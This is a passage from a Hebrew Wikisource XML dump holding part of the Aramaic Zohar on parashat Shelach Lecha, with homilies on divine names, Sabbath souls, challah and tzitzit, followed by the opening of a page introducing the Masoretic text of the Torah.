עלמא. וכלהו תלתא אבות נזיקין בר שור כלהו דיליה ועל דא כתיב {{צ|וימירו את כבודם בתבנית שור אוכל עשב}}. מהו {{צ|אוכל עשב}}? הא דרשינן ביה. אבל עקרא דמלה מתמצית הלחם ולא שבעת זיני דגן לית ליה בהו חולקא ולא יאות ליה למהוי תמן מדוכתייהו ואלין יתבין בדוכתייהו עד לא נפקי אלין זמינין אלין נהירו ונציצו דלהון לא יכלין עיינין למסבל. אזלין בסחרנין לית להון שכיכו לעלמין. כד אסתכל בר נש בהאי היכלא מיד באסתכלותא קדמאה אתחזי זעיר ולא זעיר אסתכל יתיר אתחזי רב. תו אסתכל אתחזי יתיר רב כל מה דאסתכל הכי אתחזי באתפשטותא רב ועלאה עד דדמי &lt;קטע סוף=דף קעב א/&gt;

 
{{ממ זהר משולב|ג|קעב|ב}}&lt;קטע התחלה=דף קעב ב/&gt;באסתכלותא כמלא נימא דלית ליה שיעורא עובדין סגיאין לגו דלא ידיע אומנו דלהון מניה נהרא עזרה וכל מה דאית בה בר כרובים דנהורא דלהון סלקא עד רום רקיעא בגוונין סגיאין ונהורין מנצצן אלף וחמש מאה וחמשה ושבעין גופנין עבדין איבין בעזרה דא יתיר חובק את ידיו במרירו ואנינו דיליה ולבתר אוכל את בשרו בעל כרחיה דלית ליה רשו לשלטאה על מלה אחרא מה אתהני ליה בכל מה דאסטי ועביד ועמל דלבתר לית ליה רשו אלא על דיליה לבתר מרקיד וחדי ככסיל בלא דעתא כלל ואזיל בלא תועלתא ואכיל לבשרא. ובשאר לית ליה רשו מרירו דעילא ותא כד ישראל בעאקו ואכלי לון שנאיהון ולא יהבי חילא בעובדין טבין דלהון לאפקא מניה ואפילו מבשריה דאיהו מהאי סטר אבאיש קמי מלכא קדישא דאיהו רחום וחנון אבל על דיליה רוחא קדישא ונשמתא קדישא לית עלאין ותתאין יכלין לשלטא עלוי כלל ועל דא כל תסקופין וכל מה דאסטי ההוא רע דחשיב למשלט על רוחא קדישא ולבתר לא יכיל וישוב ואוכל את בשרו. מה תועלתא הוה ליה. ועוד דאינון חפאן כלהו כערטיראה תקיף ולית שכיכו לעלאין ותתאין. תא ואימא לך מלה. אי תימא דחדו הוא למלאך המות כד קטיל בני נשא. לאו. אלא בגין דחמי דרעותא דמאריה בכך אחזי גרמיה בחדו למעבד רעותיה דקב&quot;ה דכתיב {{צ|רוח סערה עושה דברו}}. 

א&quot;ל ר&quot;ש והא איהו אזיל ומרקד בחדוה קמי נשין 
א&quot;ל אי חסידא קדישא ודאי הכי הוא לאחזאה קמי מלכא דניחא ליה ברעותיה דמלכא. אבל נייחא דיליה בהספדא דנשין איהו רקיד ואודניה להספדא. 
א&quot;ל אי הכי אמאי אזיל ואסטי על בר נש לעילא ואדכר לחובוי. 
א&quot;ל בגין דאיהו זקן וכסיל וחשיב למשלט על רוחא וכל תאובתיה בגיני כך איהו לסוף לא שליט אלא על דיליה. בשרא דיליה. ועל דא כתיב {{צ|ישוב עמלו בראשו}} אזיל ובעי לארגשא עלמא ומיא סליקין מגו שאר תהומין ובעאן לחפיא עלמא אינון דמעין רתיחין יתיר מכל אשא דעלמא ומגו תוקף דרתיחו דלהון אקפו מיא גו ימא דנקפא ואלמלא דרמז קב&quot;ה חד נשיבו מסטרא דאברהם מעמודא דיליה ואחזי על עלמא לא יכיל למיקם אפילו רגעא חדא. אינון דמעין כד נפלין גו ימא אשתמע קלא בין ימא עד מערתא דכפלתא מקל נהימו דלהון דקא אשתמע תמן כד עאלין גו ימא מתערן אבהן קדמאי וקמו וחשבו דקב&quot;ה בעי לאהפכא עלמא עד דקלא נפיק ואמר לון לא תדחלו רחימין קדישין בגינכון דכיר קודשא בריך הוא לבניכון ואיהו בעי דמפרק לון ואתון תחמון אלפא ביתין כלהו משלבן ומתצרפאן אלין באלין ואתחברן בצרופא דשמא קדישא כיון דאתחזון אתוון בצרופא דא אלין גניזין ונפקין אחרנין וכן כלהו אלין גניזין ואלין נפקין כלהו לגו בחלולא דאינון כפתורים. תו פרחי תלת זמנין ביומא באוירא ונפקי לבר וקיימא שמא בארבע אתוון תליין באוירא שעתא ופלגא לבתר גניז דא מיד נפיק מגו אוירא מחלולא דיליה שמא דתריסר אתוון פרח ותליא באוירא שעתא חדא ולא יתיר לבתר גניז דא ונפקא מיד צרופא דאתוון אחרנין שמא דכ' (ס&quot;א דכ&quot;ב) אתוון ותליין באוירא שעתא אחרא ואגניז. ומיד נפקי אתוון מחלולא אחרא שמא דתמניא ועשרין אתוון מתעטרין כלהו בכתרייהו וקיימי שעתא ופלגא ואגניז דא ומיד נפקי תליא באוירא שמא דעשרין וחמש אתוון בצרופייהו וקיימא שעתא ותלת רגעי נפקי אתוון בארבעין ותרין אתוון לעלמא קיימא שמהן אלא אתוון כולהו לא &lt;קטע סוף=דף קעב ב/&gt;

 
{{ממ זהר משולב|ג|קעג|א}}&lt;קטע התחלה=דף קעג א/&gt;משתככי לעלמין בלטי ומנצצי לבר וסלקי ונחתי לית מאן דיכיל לקיימא בהו בר משיח בטורח סגי. דא גניז לבתר דקיימא תרין שעתין ועשרין ותרין רגעין והאי שמא גליפא דע&quot;ב אתוון קא נפיק וקיימא ותליא באויר אשעתא ופלגא כל הני שמהן לא נפקי ולא אתחזון אלא זמנא חדא ביומא אבל אינון אלפא ביתין אתחזון פרחין באוירא ומצרפין אלין באלין תלת זמנין ביומא כד פרחן אתוון דאלפא ביתין אלין פרחין מכאן ואלין מכאן ומתצרפן כלהו כד נחית תמן רב מתיבתא שארי משיח חמא בצרופא דאלפא ביתא אתוון כמה דחמא דניאל דאינון ממתוס ננקפי אאלרן. כל מעלי שבתא כד מקדשין ישראל יומא לתתא כרוזא כריז לארבע סטרי עלמא אתכנשו משריין קדישין אתקנו כרסיין (קדישין) מאן חמי חדוה בתלת מאה ותשעין רקיעין כמה ממנן כמה שלטונין מתכנשין לאתרייהו. כיון דישראל לתתא מקדשין (וקב&quot;ה) כדין אתער אילנא דחייא ואקיש באינון טרפין דיליה רוח נשיבו חד מגו עלמא דאתי ואינון ענפין דאילנא מתנענען וסלקין ריחין דעלמא דאתי ההוא אילנא דחיי אתער ואפיק נשמתין קדישין ופריש על עלמא. ועם כל דא נשמתין נפקין ונשמתין עאלין אלין מתערי אלין. אלין נפקין ואלין עאלין ואילנא דחיי בחדוה. וכדין ישראל כלהו מתעטרין בעטרין דאינון נשמתין קדישין כלהו בחדוה בנייחא. וכלה שבת אית לון ההוא חדוה וההוא נייחא וכל צדיקייא די בגנתא כלהו סלקין ומתענגין בענוגא עלאה דעלמא דאתי. כיון דנפיק שבתא כלהו נשמתין פרחין וסלקין. 

תא חזי כד עייל שבתא נשמתין נחתין לשרייא על עמא קדישא ונשמתין דצדיקייא סלקין לעילא. כד נפיק שבתא נשמתין סלקין אינון דשארו עלייהו דישראל ונשמתין נחתין אינון נשמתין דצדיקייא כיון דסלקין כלהו נשמתין דשארו עלייהו דישראל סלקי וקיימין בדיוקנא קמי מלכא קדישא וקב&quot;ה שאיל לכלהו מאי חדושא הוה לכו בההוא עלמא באורייתא. זכאה איהו מאן דחדושא דאורייתא אמרת קמיה. כמה חדוה עביד קב&quot;ה כניש לפמליא דיליה ואמר שמעו חדושא דאורייתא דאמרת נשמתא דא דפלו' וכלהו מוקמי ההיא מלה בתרי מתיבתי. אינון לתתא וקב&quot;ה לעילא חתים לההיא מלה. 

תא חזי כד מלה אתחדש באורייתא ונשמתא דנחתא בשבתא אתעסקת באינון מלין חדתין וסלקי לעילא. כל פמליא דלעילא צייתין לההוא מלה וחיות הקדש מתרבן בגדפין ומתלבשן בגדפין. וכד שאיל לון קב&quot;ה ולא תבין ושתקין כדין חיות הקדש מה כתיב {{צ|בעמדם תרפינה כנפיהם}} כמה דאת אמר כי עמדו לא ענו עוד וכפתחו עמדו כל העם. ואי תימא שתיקה אמאי קרו ליה עמידה אלא בדבורא אית ז' שייפין דמתנענען בהדיה. לבא. ריאה. קנה. לשון. שניים. שפוון. בשר. ובשתיקה קיימו בקיומייהו בלא נענועא. ועל דא קרי לשתיקה עמידה דהא רב המנונא סבא (נ&quot;א רב מתיבתא) אמר ישלח עזרך מקדש וגו'. מקדש דא קדוש ידים. ומציון יסעדך דא המוציא דאיהו סעיד לבא דבר נש. יזכור כל מנחותיך כל לאסגאה מלה אחרא. דא נטילת ידים בתרייתא. ועולתך ידשנה סלה דא ברכת המזון בזמון. ואי את עביד כן יתן לך כלבבך וכל עצתך ימלא. ובשבת מקדש דא קדושא רבא ועל מלה דא אתעטרו צדיקייא בגן עדן משבת לשבת אחרא. תו פתח ואמר על הר &lt;קטע סוף=דף קעג א/&gt;

 
{{ממ זהר משולב|ג|קעג|ב}}&lt;קטע התחלה=דף קעג ב/&gt;גבוה עלי לך מבשרת ציון וגו'. על הר גבוה האי ודאי הר העבדים אתר דמשה אתקבר. והא אוקמוה דשכינתא תסלק לתמן ותבשר עלמא. אבל כלא איהו. מבשרת ציון דא איהי חפצי בה אתתא דנתן בר דוד אימא איהי דמשיחא מנחם ב&quot;ר עמיא&quot;ל ואיהי תיפוק ותבשר ואיהי בכללא דמבשרת ציון קלא ישתמע בעלמא ותרין מלכין יתערון בעלמא לאגחא קרבא ויפוק שמא קדישא על עלמא. מה תבשר ותימא (שם) הנה אֲדנָי יְהֹוִה בחזק יבא וזרועו מושלח לו הנה שכרו אתו ופעולתו לפניו. הנה שכרו אתו דקב&quot;ה כריז בכל פמליא דלעילא ויימא לון אתכנשו ודאינו דינא. מאן דמסר נשמתיה על קדושת שמי אגריה מאי הוא ואינון יימרון כך וכך. מאן דסביל כמה חרופין וגדופין בכל יומא עלי מהו אגריה. אינון אמרי כך. מאן דאתענש בכל יומא עלי מהו אגריה. אינון אמרי כך. הדא הוא דכתיב {{צ|הנה שכרו אתו ופעולתו לפניו}}. מהו ופעולתו אלא כמה דכתיב {{צ|מה רב טובך וגו'}}. פעלת לחוסים בך דא הוא פעולתו. נגד בני אדם מהו אלא נגד עכו&quot;ם. אשר צפנת ליראיך. מהו {{צ|אשר צפנת}}? וכי מאן יגזול ויטול מן ידוי מה דהוא בעי למיהב דכתיב {{צ|צפנת}}. אלא פוק וחמי עובדין דרחמנו דעבד קב&quot;ה במה דאיהו מחי ביה יהיב אסוותא. במה מחי בשמאלא. בימינא קריב ובשמאלא מחי. במה דמחי ביה יהיב אסוותא לעולם כתיב ירמיה א (?)צפון תפתח הרעה. ובצפון מחי. דמתמן נפקי כל דינין וכל גזירי. קשיין. וביה שרי כל אגר טב וכל טיבו דזמין קב&quot;ה למיהב לישראל. לזמנא דאתי קרי קב&quot;ה לצפון ויימא ליה בך יהבית כל טיבו וכל אגר טוב לבני דסבלו כמה בישין בהאי עלמא על קדושת שמי. הב אגרין טבין דיהבית בך. הדא הוא דכתיב {{צ|אומר לצפון תני ולתימן אל תכלאי וגו'}}. וכי ארחא הכי הוא דדרום לממנע ברכאן והא כל ברכאן מסטרא דדרום וכל טבין דעלמא מדרום נפקי ואיהו אמר לתימן אל תכלאי אלא בההיא שעתא יתער קב&quot;ה לאברהם ויימא ליה קום דהא מטא זמנא דאנא פריק לבנך למיהב לון אגר טב על כל מה דסבלו בגלותא ומגו דאברהם הוה בזבינו דלהון דכתיב {{צ|אם לא כי צורם מכרם}} דא אברהם. הוה ליה כמאן דלא טב בעינוי. ואחמי גרמיה כמאן דבעי דילקון על חוביהון יתיר ויימא גבו מחוביהון גבו מחטאיהון א&quot;ל קב&quot;ה לאברהם ידענא כלא איהו מה דאמרת לאנפין. אנא אוף הכי לאנפין. אל תכלאי אנא בעי לפייסא לך על בנך. לא תמנע טיבו מנהון לא תמנע אגר טב מנהון כמה וכמה סבלו על חוביהן ובגיני כך אומר לצפון תני. והיינו {{צ|אשר צפנת}}. ודא הוא מלה (ס&quot;א דתהא) דההיא מבשרת. ותו תבשר זמנא תניינא בשעתא דשכינתא תסלק על ההוא טורא עלאה ותהך ותבשר לאבהן מיד תהך לירושלם ותחמי לה בחרבנא. תיעול לציון ותמן תקרקר קירא כמלקדמין על אתר בי מותבה ועל יקרא דילה בההוא אתר. ותמן אומיאת דלא תיטול מתמן ולא תפוק עד דקב&quot;ה יפרוק לבנהא ודא חפצי בה. תבשד(?) כמלקדמין ואמרת צהלי ורני יושבת ציון כי גדול בקרבך וגו'. מאי {{צ|גדול בקרבך}}? דא קב&quot;ה דאיהו אתי לגבה לאקמא לה מעפרא ויימא לה התנערי מעפר קומי שבי ירושלם ירושלם איהי וירושלם שמה ודאי. ובדא אוף הכי כמה חדו על חדו הוי לצדיקייא בגן עדן ובגין כך זכאה איהו מאן דנשמתיה בשבת אסהידת קמי מלכא על חדושא דאורייתא דקב&quot;ה. וכל פמליא דיליה וכל אינון נשמתין דצדיקייא דהוו בגן עדן כלהו מתעטרן בההוא מלה. 

תו שמענא בוצינא &lt;קטע סוף=דף קעג ב/&gt;{{ממ זהר משולב|ג|קעד|א}}&lt;קטע התחלה=דף קעד א/&gt;קדישא דכמה יקר על יקר ועטרה על עטרה מעטרן לאבוה דההוא ב&quot;נ תמן בשעתא דאמר קב&quot;ה אתכנשי למשמע חדושא ומלין חדתין דאורייתא משמיה דפלוני בר פלוני כמה אינון דנשקין על רישיה כמה צדיקייא מעטרין ליה כד נחתין. זכאה חולקהון דכל אינון דמשתדלין באורייתא יומא דשבתא משאר יומין. ע&quot;כ:

רעיא מהימנא

(במדבר ט&quot;ו) רֵאשִׁית עֲרִיסוֹתֵיכֶם חַלָּה תָּרִימוּ וְגוֹ', פִּקּוּדָא דָּא לְהַפְרִישׁ חַלָּה לַכֹּהֵן. חַלָּ&quot;ה הָכִי חוּשְׁבָּנֵיהּ, מ&quot;ג בֵּיצִּים, וְחוֹמֶשׁ בֵּיצָּה, חַד מֵחֲמֵשׁ. וְאִית חוֹמֶשׁ חַד מִן חַמְשִׁין, דְּאִיהוּ ן'. וְדָא סִימַן מָגֵ&quot;ן, דְּאִיהוּ מִיכָאֵ&quot;ל גַּבְרִיאֵ&quot;ל נוּרִיאֵ&quot;ל. חַלָה, שְׁכִינְתָּא. דִּבַאֲתָר דְּאִלֵּין מַלְאֲכִין תַּמָּן, אֲבָהָן תַּמָּן. וּבְאַתְרָא דַּאֲבָהָן תַּמָּן, שְׁכִינְתָּא תַּמָּן. וּבָה וַיְחַל, בָּהּ צַּלֵּינָא, הֲדָא הוּא דִכְתִיב (שמות לב) וַיְחַל מֹשֶׁה אֶת פְּנֵי יְיָ אֱלֹהָיו. (דברים ג) אֲדֹנָי יֶדוִֹד אַתָּה הַחִלּוֹתָ לְהַרְאוֹת אֶת עַבְדְּךָ. וּבָהּ חָלָה זְכוּת אָבוֹת. וּבָהּ תָּמָה זְכוּת אָבוֹת לָרְשָׁעִים. דַּהֲווֹ מְקַבְּלִים אַגְרַיְיהוּ בְּהַאי עָלְמָא. דְּמִסִטְרָא דִּימִינָא, דְּתַמָּן י' דְּאִיהוּ חָכְמָה, שֵׁרוּתָא דִּשְׁמָא דַּיְדוָֹד, דְּאִיהוּ אַחְזֵי זְכוּתָא עַל בְּנָהָא מִימִינָא, דְּתַמָּן רמ&quot;ח פִּקוּדִין דַּעֲשֵׂה. מִסִּטְרָא דְּאָת ה' בַּתְרָאָה, דְּאִיהִי לִשְׂמָאלָא דִּגְבוּרָה, דְּתַמָּן לֹא תַּעֲשֶׂה, דְּאִינּוּן שס&quot;ה, דְּתַמָּן נִדוֹנִין רְשָׁעִים גְּמוּרִים, תָּמָה לוֹן זְכוּת אָבוֹת, וְאִתְהַפָּךְ לוֹן שֵׁם יְהוָֹ&quot;ה, הוה&quot;י. וְאוֹלִיפְנָא מֵהָמָן הָרָשָׁע, (אסתר ה) וְכָל זֶה אֵינֶנּוּ שׁוְֹה לִי. 

(ע&quot;כ רעיא מהימנא)

{{צ|ויאמר יהוה אל משה לאמר דבר אל בני ישראל וגו' ועשו להם ציצית על כנפי בגדיהם לדורותם וגו'}}. {{ש}}
ר' חזקיה פתח: {{צ|ויראני את יהושע הכהן הגדול וגו'}}. כמה זכאין אינון ישראל דקב&quot;ה בעי ביקרהון על כל בני עלמא ויהב לון אורייתא קדישא ויהב לון נביאי מהימני דמדברי להו באורייתא בארח קשוט. תא חזי כל נביאי ונביאי דאוקים קב&quot;ה לישראל כלהו אתגלי קב&quot;ה עלייהו בדרגין עלאין קדישין וחמו זיו יקרא קדישא דמלכא מאתר עלאה אבל לא קריב כמשה דהוה קריב למלכא יתיר מכלא דהא זכאה חולקיה יתיר מכל בני עלמא דעליה כתיב {{צ|פה אל פה אדבר בו ומראה ולא בחידות}} ושאר נביאי הוו חמאן מאתר רחיקא כמה דאת אמר מרחוק יהוה נראה לי א&quot;ר חזקיה הכי אוליפנא כתיב {{צ|וילך איש מבית לוי ויקח את בת לוי}}. {{צ|וילך איש}} - דא קב&quot;ה כמה דאת אמר {{צ|יהוה איש מלחמה}}. {{צ|מבית לוי}} - דא קב&quot;ה אתר דחכמה עלאה וההוא זוהר (ס&quot;א נהר) מתחברן כחדא דלא מתפרשן לעלמין. {{צ|מבית לוי}} - דאשרי לויתן (ס&quot;א כל חידו) בלחודוי בעלמא הדא הוא דכתיב {{צ|לויתן זה יצרת לשחק בו}}. {{צ|ויקח את בת לוי}} - דא קב&quot;ה אתר דנהירו דסיהרא נהיר. {{צ|ותהר האשה ותלד בן}}. {{צ|האשה}} ודאי כמה דאת אמר {{צ|לזאת יקרא אשה}}. בקדמיתא {{צ|בת לוי}} הכי הוא ודאי וכי בת לוי בקדמיתא והשתא אשה? אלא הכי אוליפנא אתתא עד לא אזדווגת אתקריאת 'בת פלוני', בתר דאזדווגת אתקרי' 'אשה'. והכא בת ואשה כלא בחד דרגא היא. 

{{צ|ותצפנהו שלשה ירחים}} - אלין תלת ירחין דדינא קשיא שריא בעלמא. ומאי נינהו תמו&quot;ז וא&quot;ב וטב&quot;ת. מאי קא משמע לן דעד דלא נחת משה לעלמא שכיח הוה הוא לעילא ועל דא אזדווגת ביה שכינתא מן יומא דאתיליד. מכאן אמר רבי שמעון רוחיהון דצדיקייא שכיחין אינון לעילא עד לא יחתון לעלמא. {{צ|ולא יכלה עוד הצפינו ותקח לו וגו'}} מאי {{צ|ותקח לו תיבת גמא}}? דחפת ליה בסימנהא למהוי נטיר מאינון נוני ימא דשאטין בימא רבא כמה דכתיב {{צ|שם רמש ואין מספר}}, והיא חפת ליה למהוי נטיר מנייהו בחפו (ס&quot;א דסטרא דיובלא יקירא) דבני ימא בלא יקירא בתרי גוונין בחיוור ואוכס ואנח ליה למשה למישט בינייהו &lt;קטע סוף=דף קעד א/&gt;

 
{{ממ זהר משולב|ג|קעד|ב}}&lt;קטע התחלה=דף קעד ב/&gt;לאשתמודע ביניהון בגין דזמין הוא לסלקא בינייהו זמנא אחרא לקבלא אורייתא. {{צ|ותרד בת פרעה}} - דא היא דאתיא מסטרא שמאלא דדינא קשיא כמה דאתמר {{צ|לרחוץ על היאור}}. {{צ|על היאור}} דייקא ולא &quot;על הים&quot;. ואיתימא הא כתיב {{צ|ומטך אשר הכית בו את היאור}}. ומשה לא הכה אלא בים וקרייה קרא יאור אלא יאור הוה דמחא אהרן על ידא דמשה ושווייה קרא דאיהו עבד כהאי גוונא {{צ|וימלא שבעת ימים אחרי הכות יהוה את היאור}} ואהרן הכה אלא (ס&quot;א על דא) עד דאתא סטרא דקב&quot;ה קרייה קרא הכות יהוה לבתר קרייה בשמא דמשה. 

{{צ|ונערותיה הולכות}} - אינון שאר משריין דאתיין מסטרא דא. {{צ|ותפתח ותראהו את הילד}} - {{צ|ותראהו}} - &quot;ותרא&quot; מבעי ליה! מאי {{צ|ותראהו}}? והא אמר רבי שמעון לית לך מלה באורייתא או את חד באורייתא דלא אית ביה רזין יקירין ועלאין. אלא הכי אוליפנא רשימא דמלכא ומטרוניתא אשתכח ביה ואינון רשימא דוא&quot;ו ה&quot;א מיד {{צ|ותחמול עליו וגו'}}. עד כאן לעילא. מכאן ולהלאה לתתא בר האי קרא דכתיב {{צ|ותתצב אחותו מרחוק}} - אחותו דמאן? אחותו דהאי איהו דקרא לכנסת ישראל אחותי כמה דאת אמר {{צ|פתחי לי אחותי}}. {{צ|מרחוק}} כמה דאת אמר {{צ|מרחוק יהוה נראה לי}} מאי משמע? משמע דאינון זכאין עד דלא נחתו לעלמא אשתמודען אינון לעילא לגבי כלא וכ&quot;ש משה ומשמע דנשמתהון דצדיקייא אתמשך מאתר עלאה כמה דאוקימנא. ורזא דמלה אוליפנא דמשמע דאב ואם אית לנשמתא כמה דאית אב ואם לגופא בארעא ומשמע דבכל סטרין בין לעילא בין לתתא מדכר ונוקבא כלא אתיא ואשתכח והא אוקמוה רזא דכתיב {{צ|תוצא הארץ נפש חיה}}. {{צ|הארץ}} - דא כנסת ישראל. {{צ|נפש חיה}} - נפשא דאדם קדמאה עלאה כמה דאתמר. 

אתא רבי אבא ונשקיה אמר ודאי שפיר קא אמרת והכא הוא כלא. זכאה חולקיה דמשה נביאה מהימנא על כל שאר נביאי עלמא בגין כך לא אשתדל ביה כד אסתלק מעלמא בר קב&quot;ה דאעליה לפרגודיה ועל דא סליק משה בנבואה עלאה ובדרגין יקירין מכל נביאי עלמא ושאר נביאי חמאן בתר כותלין סגיאין. 

{{צ|ויראני את יהושע הכהן הגדול}}. מאי קא חמא דהוה קאים קמי מלאכא ומתלבש בלבושין מלוכלכין עד דכרוזא נפיק ואמר הסירו הבגדים הצואים מעליו. אמר רבי יצחק כתיב הכא {{צ|ועומד לפני המלאך}}. מאי {{צ|לפני המלאך}}? דהוה דאין דינוי ההוא דכתיב ביה {{צ|ואל תאמר לפני המלאך כי שגגה היא}}. מאי קא משמע לן דכל בר נש דלא זכי בהאי עלמא לאתעטפא בעטופא דמצוה ולאתלבשא בלבושא דמצוה - כדעייל בההוא עלמא קאים בלבושא טנופא דלא אצטריך וקאים בדינא עליה. 

תא חזי כמה לבושין מזדמנין בההוא עלמא וההוא בר נש דלא זכי בהאי עלמא בלבושין דמצוה כד עייל לההוא עלמא מלבשין ליה בחד לבושא דאשתמודע לגבי מאריהון דגיהנם וההוא לבושא ווי למאן דאתלבש ביה דהא כמה &lt;קטע סוף=דף קעד ב/&gt;{{ממ זהר משולב|ג|קעה|א}}&lt;קטע התחלה=דף קעה א/&gt;גרדיני נמוסין זמינין לאחדא ביה ועיילי ליה לגיהנם ושלמה מלכא צווח ואמר {{צ|בכל עת יהיו בגדיך לבנים}}. 

תאנא ברזא דספרא דצניעותא ארבע מלכין נפקין לקדמות ארבע סהדי בהו תלין כענבים באתכלא צרירן בהו ז' רהיטין סהדין סהדותא ולא קיימין בדוכתייהו: &lt;קטע סוף=דף קעה א/&gt;

 
{{ממ זהר משולב|ג|קעה|ב}}&lt;קטע התחלה=דף קעה ב/&gt;אמר רבי יהודה כמה סהדי עביד קב&quot;ה לאסהדא בהו בבני נשא וכלהו בעיטא ובסהדותא קיימין לקבליה. קם בצפרא אושיט רגלוי למהך. סהדייא קיימין לקבליה מכריזין ואמרין {{צ|רגלי חסידיו ישמור וגו'}}. {{צ|שמור רגלך כאשר תלך}}. {{צ|פלס מעגל רגלך}}. אפתח עינוי לאסתכלא בעלמא סהדייא אמרי (שם) {{צ|עיניך לנכח יביטו}}. קם למללא סהדייא אמרי {{צ|נצור לשונך מרע וגו'}}. אושיט ידוי במלי עלמא סהדייא אמרי (שם) {{צ|סור מרע ועשה טוב}}. אי ציית להו יאות. ואי לא כתיב {{צ|והשטן עומד על ימינו לשטנו}} - כלהו סהדין עליה בחובוי לעילא. אי בעי בר נש לאשתדלא בפולחנא דקב&quot;ה כלהו סהדין סניגורין קמיה וקיימין לאסהדא עליה טבאן בשעתא דאצטריך ליה. קם בצפרא מברך כמה ברכאן. אנו(?) תפילין ברישיה בין עינוי בעי לזקפא רישיה חמי שמא קדישא עלאה אחיד ורשים על רישיה ורצועין תליין מהאי גיסא ומהאי גיסא על לביה. הא אסתכל ביקרא דמאריה אושיט ידוי חמי ידא אחרא מתקשרא בקשורא דשמא קדישא אהדר ידיה ואסתכל ביקריה דאמריה אתעטף בעטופא דמצוה בארבע זיויין דכסותיה ארבע מלכין נפקין לקדמות ארבע. ארבע סהדי קשוט דמלכא תליין מארבע זיויין ותליין בהו כענבים באתכלא. מה אתכלא דאיהו חד ותליין ביה כמה ענבים מהאי סטר ומהאי סטר כך האי מצוה חדא ותליין ביה כמה ענבים וזגין וזמורין צרירין בהו. שבעה רהיטין אלין אינון שבעה צרירין דתכלתא דבעי לכרכא ביה בכל חד וחד, או לאסגאה עד תליסר מאן דיוסיף לא יוסיף עלייהו על תליסר מאן דימעט לא ימעט משבעה. ותאנא האי תכלת הוא רזא דדוד מלכא ודא חוטא דאברהם דזכה ביה לבנוי בתרוי מאי תכלת תכלית דכלא (ודאי) רבי יהודה אומר כסא הכבוד אקרי. רבי יצחק אמר שבעה כריכן דאיהי שכינתא שביעתא דכלא ודאי דהא היא מתברכא משיתא אחרנין על ידא דצדיק ואי תלת עשר תלת עשר אינון כמה דאוקמוה בתלת עשר מכילן והאי היא פתחא דכלהו. והיא חוטא חד ורשימא בגוונהא וגוונא דילה נפיק מחד נונא דאזיל בים כנרת וכנרת על שמה אתקרי ועל דא כנור הוה תלוי לעילא מערסא דדוד דהא (דדוד) ודאי איהו כנור דדוד מנגן מאליו למלכא קדישא עלאה ובגין כך גוונוי עייל עד רקיעא ומרקיעא עד כורסייא והכא כתיב מצוה כמה דאת אמר {{צ|מצות המלך היא}} {{צ|מדוע אתה עובר את מצות המלך}}. {{צ|כי מצות המלך}}. ותאנא יסודא ושרשא במלכא מתעטרין כחדא והאי הוא כתרא ופתחא לכל שאר כתרין דכתיב פתחו לי שערי צדק. וכתיב (שם) {{צ|זה השער ליהוה}} ועל דא כתיב {{צ|וראיתם אותו וזכרתם את כל מצות יהוה}} לאכללא בהאי כל שאר כתרין ועל דא אינון סהדי סהדותא ולא קיימי בדוכתייהו בגין דאיהי מצות ותנינן תשמישי מצוה נזרקין. ואי תימא הא לולב וערבה וכו' תשמישי קדושה אינון אמאי נזרקין. אלא תשמישי קדושה בגין דרשימין בכתיבה דשמא קדישא. א&quot;ר יצחק אינון חוטין לאחזאה היך תליין מכאן ומכאן לד' סטרי עלמא מהאי אתר ואיהי שלטא על כלא ברזא דלב דאיהי לבא דכל האי עלמא ולבא דעלאי ותליא בלב עלאה וכלא הוא בלב דנפק מחכמה עלאה. א&quot;ר יצחק שעורא דהאי (ס&quot;א ואורכא) דהאי אתמר באתוון גליפן דר' אלעזר. א&quot;ר יהודה אמר קב&quot;ה מאן דבעי למהך בתר דחלתי יהך בתר לבא דא ובתר עיינין דקיימין עלה. מאן אינון עיינין כמה דאת אמר {{צ|עיני יהוה אל צדיקים}} אבל אתם {{צ|לא תתורו אחרי לבבכם ואחרי עיניכם}}. מ&quot;ט &lt;קטע סוף=דף קעה ב/&gt;

 
{{ממ זהר משולב|ג|קעו|א}}&lt;קטע התחלה=דף קעו א/&gt;בגין דאתם זונים אחריהם. אמר רבי חייא מאי טעמא הכא יציאת מצרים דכתיב אשר הוצאתי אתכם מארץ מצרים אלא בגין דכד נפקו ממצרים בהאי חולקא עאל ובהאי קטיל קב&quot;ה קטולא דמצרים ועל דא באתריה אתדכר ובאתריה אזדהר להו בדא. מאי באתריה בגין דהאי מצוה היא אתר דילה. תאני ר' ייסא כתיב {{צ|כימי צאתך מארץ מצרים אראנו נפלאות}}. {{צ|כימי}} - &quot;כיום&quot; מבעי ליה דהא בחד זמנא נפקו ולא אתעכבו!? אלא כאינון יומין עלאין דאתברכא בהו כנסת ישראל כך זמין קב&quot;ה לאפקא להו ישראל מן גלותא וכדין כתיב  {{צ|ואמרתם ביום ההוא הודו ליהוה קראו וגו' זמרו יהוה כי גאות עשה מודעת זאת בכל הארץ}}. מאי {{צ|מודעת זאת}}? בגין דהשתא אשתמודעא זאת בעטופא דמצוה בההוא זמנא אשתמודעא זאת בכמה נמוסין דילה דיעביד קב&quot;ה אתין ונסין בעלמא כדין כתיב {{צ|ביום ההוא יהיה יהוה אחד ושמו אחד}}. 

'''ברוך יהוה לעולם אמן ואמן. ימלוך יהוה לעולם אמן ואמן''': &lt;קטע סוף=דף קעו א/&gt;

==פרשת שלח לך - רעיא מהימנא==
{{להשלים}}


--------------</text>
      <sha1>0u4wltwhw3y0yyzzatfjdoykvgwcmu5</sha1>
    </revision>
  </page>
  <page>
    <title>ויקיטקסט:מבוא למקרא על פי המסורה/פרק ג</title>
    <ns>4</ns>
    <id>265101</id>
    <revision>
      <id>3020764</id>
      <parentid>3018930</parentid>
      <timestamp>2026-06-19T10:42:12Z</timestamp>
      <contributor>
        <username>Dovi</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>/* נוסח הגעיות במהדורתנו */</comment>
      <origin>3020764</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="315814" sha1="l77wkhhaqcyzz0hbf9t58zrk581iz5j" xml:space="preserve">{{תבנית:טעמי המקרא באינטרנט (עליון)}}

{{מבוא למקרא על פי המסורה|פרק ג. קביעת הנוסח בתורה}}

==הסבר קצר על קביעת הנוסח בתורה==

'''נוסח האותיות וחלוקת הפרשות במהדורה זו נקבעו לפי ספרי התורה. נוסח הכתיב הוא לפי ספרי תימן. הבדלים בין ספרי התורה של העדות השונות, ובין ספרי התורה לבין מה שידוע לנו על כתר ארם צובה (מתוך עדויות), מובאים ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות]].'''

